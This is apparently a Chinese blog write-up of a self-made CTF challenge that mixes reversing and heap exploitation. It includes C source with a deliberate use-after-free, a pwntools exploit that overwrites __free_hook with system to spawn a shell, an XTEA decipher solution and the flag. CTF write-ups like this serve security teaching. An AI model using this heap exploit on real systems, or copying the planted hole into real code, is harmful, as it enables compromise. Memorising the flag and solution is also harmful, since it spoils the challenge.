记一次自己出的REPWN

自己最近在学逆向,想着把re和pwn结合,结果因为pwn的问题反而困扰了自己很久,好在最后搞定了。

题目部署平台Ubuntu18.04

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define PRINT_FONT_BLA printf("\033[30m"); //黑色
#define PRINT_FONT_RED printf("\033[31m"); //红色
#define PRINT_FONT_GRE printf("\033[32m"); //绿色
#define PRINT_FONT_YEL printf("\033[33m"); //黄色
#define PRINT_FONT_BLU printf("\033[34m"); //蓝色
#define PRINT_FONT_PUR printf("\033[35m"); //紫色
#define PRINT_FONT_CYA printf("\033[36m"); //青色
#define PRINT_FONT_WHI printf("\033[37m"); //白色
/*设置输出背景色*/
#define PRINT_BACK_BLA printf("\033[40m"); //黑色
#define PRINT_BACK_RED printf("\033[41m"); //红色
#define PRINT_BACK_GRE printf("\033[42m"); //绿色
#define PRINT_BACK_YEL printf("\033[43m"); //黄色
#define PRINT_BACK_BLU printf("\033[44m"); //蓝色
#define PRINT_BACK_PUR printf("\033[45m"); //紫色
#define PRINT_BACK_CYA printf("\033[46m"); //青色
#define PRINT_BACK_WHI printf("\033[47m"); //白色
/*输出属性设置*/
#define PRINT_ATTR_REC printf("\033[0m"); //重新设置属性到缺省设置
#define PRINT_ATTR_BOL printf("\033[1m"); //设置粗体
#define PRINT_ATTR_LIG printf("\033[2m"); //设置一半亮度(模拟彩色显示器的颜色)
#define PRINT_ATTR_LIN printf("\033[4m"); //设置下划线(模拟彩色显示器的颜色)
#define PRINT_ATTR_GLI printf("\033[5m"); //设置闪烁
#define PRINT_ATTR_REV printf("\033[7m"); //设置反向图象
#define PRINT_ATTR_THI printf("\033[22m"); //设置一般密度
#define PRINT_ATTR_ULIN printf("\033[24m");//关闭下划线
#define PRINT_ATTR_UGLI printf("\033[25m");//关闭闪烁
#define PRINT_ATTR_UREV printf("\033[27m");//关闭反向图象
void read_input(char *buf, size_t size) {
int ret;
PRINT_FONT_YEL;
PRINT_BACK_PUR;
PRINT_ATTR_BOL;
PRINT_ATTR_THI;
ret = read(0, buf, size);
if (ret <= 0) {
puts("法诀无效\n");
_exit(-1);
}
}
int num=0;
char *heaparray[10];
unsigned long int magic = 0;
void drink_tea( int *v, int const *key) {
unsigned int i;
int v0 = v[0], v1 = v[1], sum = 0, delta = 0x9E3779B9;
for (i = 0; i < 64; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
}
v[0] = v0; v[1] = v1;
}//xtea算法
void what_this()
{

int flag1[20]={-1374563276,260139749};
int flag2[20]={200106999,-740235093};
}
void the_source()
{
unsigned int k[4]={1,3,2,4};
int v[100];
printf("密令壹:");
scanf("%d",&v[0]);
printf("\n");
printf("密令貮:");
scanf("%d",&v[1]);
printf("\n");
drink_tea(v,k);
printf("本源法诀已构建至心海!!\n");
}
void menu() {
PRINT_FONT_YEL;
PRINT_BACK_PUR;
PRINT_ATTR_BOL;
PRINT_ATTR_THI;
printf("0==[IIIIIIIIIIII众生皆蝼蚁IIIIIIIIIIIIIIII>\n");
printf("+++++++++++++++壹.构建法诀+++++++++++++++++\n");
printf("+++++++++++++++貮.修改法诀+++++++++++++++++\n");
printf("+++++++++++++++叁.演示法诀+++++++++++++++++\n");
printf("+++++++++++++++肆.摧毁法诀+++++++++++++++++\n");
printf("+++++++++++++++伍.本源法诀+++++++++++++++++\n");
printf("+++++++++++++++陆.收起法卷+++++++++++++++++\n");
printf("0==[IIIIIIIIIIII独我步青云IIIIIIIIIIIIIIII>\n");
}

void create_heap() {
int i;
char buf[8];
size_t size = 0;
PRINT_FONT_YEL;
PRINT_BACK_PUR;
PRINT_ATTR_BOL;
PRINT_ATTR_THI;
for (i = 0; i < 10; i++) {
if (!heaparray[i]) {
printf("输入法诀的大小:\n");
read(0, buf, 8);
size = atoi(buf);
if(size>0x80)
{
exit(0);
}
heaparray[i] = (char *)malloc(size);
if (!heaparray[i]) {
puts("禁止空法诀生成!!");
exit(2);
}
printf("请输入法诀内容:");
read_input(heaparray[i], size);
puts("法诀构建完毕!\n");
num++;
break;
}
}
}

void edit_heap() {
int idx;
char buf[4];
size_t size;
PRINT_FONT_YEL;
PRINT_BACK_PUR;
PRINT_ATTR_BOL;
PRINT_ATTR_THI;
printf("选择您要修改的法诀:\n");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= 10) {
puts("超出法诀数量范围!");
_exit(0);
}
if (heaparray[idx]) {
printf("请输入您要修改的法诀大小:\n");
read(0, buf, 8);
size = atoi(buf);
if(size>0x80)
{
exit(0);
}
printf("请输入您要修改的法诀内容\n");
read_input(heaparray[idx], size);
puts("法诀修改完毕!");
} else {
puts("法诀选择错误!!!\n");
}
}

void delete_heap() {
int idx;
char buf[4];
PRINT_FONT_YEL;
PRINT_BACK_PUR;
PRINT_ATTR_BOL;
PRINT_ATTR_THI;
printf("请选择您要摧毁的法诀:");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= 10) {
puts("超出法诀数量范围!");
_exit(0);
}
if (heaparray[idx]) {
free(heaparray[idx]);
//heaparray[idx] = NULL;
puts("法诀摧毁完成\n");
num--;
} else {
puts("法诀选择错误!!!\n");
}
}
void show_item() {
int i;
PRINT_FONT_YEL;
PRINT_BACK_PUR;
PRINT_ATTR_BOL;
PRINT_ATTR_THI;
for (i = 0; i < 10; i++) {
if (heaparray[i]) {
printf("法诀序号: %d\n法诀内容: %s", i, heaparray[i]);
}
puts("");
}
}

int main() {
char choice[8];
PRINT_FONT_YEL;
PRINT_BACK_PUR;
PRINT_ATTR_BOL;
PRINT_ATTR_THI;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while(1)
{

printf("天界终焉之战降至,为了面对众天帝的围攻,你决定连夜用规则之力构建法诀\n");
menu();
printf("您当前的选择是:\n");
read(0,choice,8);
switch(atoi(choice))
{
case 1:create_heap();break;
case 2:edit_heap();break;
case 3:show_item();break;
case 4:delete_heap();break;
case 5:the_source();break;
case 6:exit(0);

default:printf("啊?能不能好好选哦?\n");
}


}


return 0;
}

题目exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level='debug'
r = process('./smallgod')
elf=ELF('./smallgod')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size, content):
r.recvuntil(":\n")
r.sendline("1")
r.recvuntil(":\n")
r.sendline(str(size))
r.recvuntil(":")
r.send(content)


def edit(idx, content):
r.recvuntil(":\n")
r.sendline("2")
r.recvuntil(":\n")
r.sendline(str(idx))
r.recvuntil(":\n")
r.sendline(str(len(content)))
r.recvuntil("内容\n")
r.send(content)


def dele(idx):
r.recvuntil(":\n")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
def show():
r.recvuntil(":\n")
r.sendline("3")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
free_got = elf.got['free']
add(0x78,'a'*0x70)#0
dele(0)
edit(0,'a'*10)
dele(0)
show()
r.recvuntil('法诀内容: ')
heap=u64(r.recv(6).ljust(8, b"\x00"))-0xa0a0a000660
print(hex(heap))
add(0x78,p64(0x7777777777777777)*6)#1
edit(0,p64(heap))
#gdb.attach(r)
add(0x78,p64(0x7777777777777777)*6)#2
add(0x78,p64(0x7777777777777777)*8)#3
#r.interactive()
dele(3)
show()
r.recvuntil('法诀序号: 3\n')
r.recvuntil('法诀内容: ')
base=u64(r.recv(6).ljust(8,'\x00'))-0x3ebca0
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sys = base+libc.sym["system"]
f_hook = base+libc.sym["__free_hook"]
ma=base+libc.sym["__malloc_hook"]
add(0x40,'\n')#3
add(0x10,'\n')#4
edit(5,p64(f_hook-8)*2)
add(0x40,"/bin/sh\x00"+p64(sys))
dele(6)
delta=0x9e3779b9
r.interactive()

re部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<stdio.h>
#include<stdlib.h>

void decipher(unsigned int num_rounds, int *v, int const *key) {
unsigned int i;
int v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
int main()
{
int v1[3]={200106999,-740235093};
int v[3]={-1374563276,260139749};
int k[4]={1,3,2,4};
decipher(64,v,k);
printf("%d %d\n",v[0],v[1]);

decipher(64,v1,k);
printf("%d %d\n",v1[0],v1[1]);
system("pause");
}

flag

1
flag{pointSw0rd_point3v3ryth1ng}
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2022 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信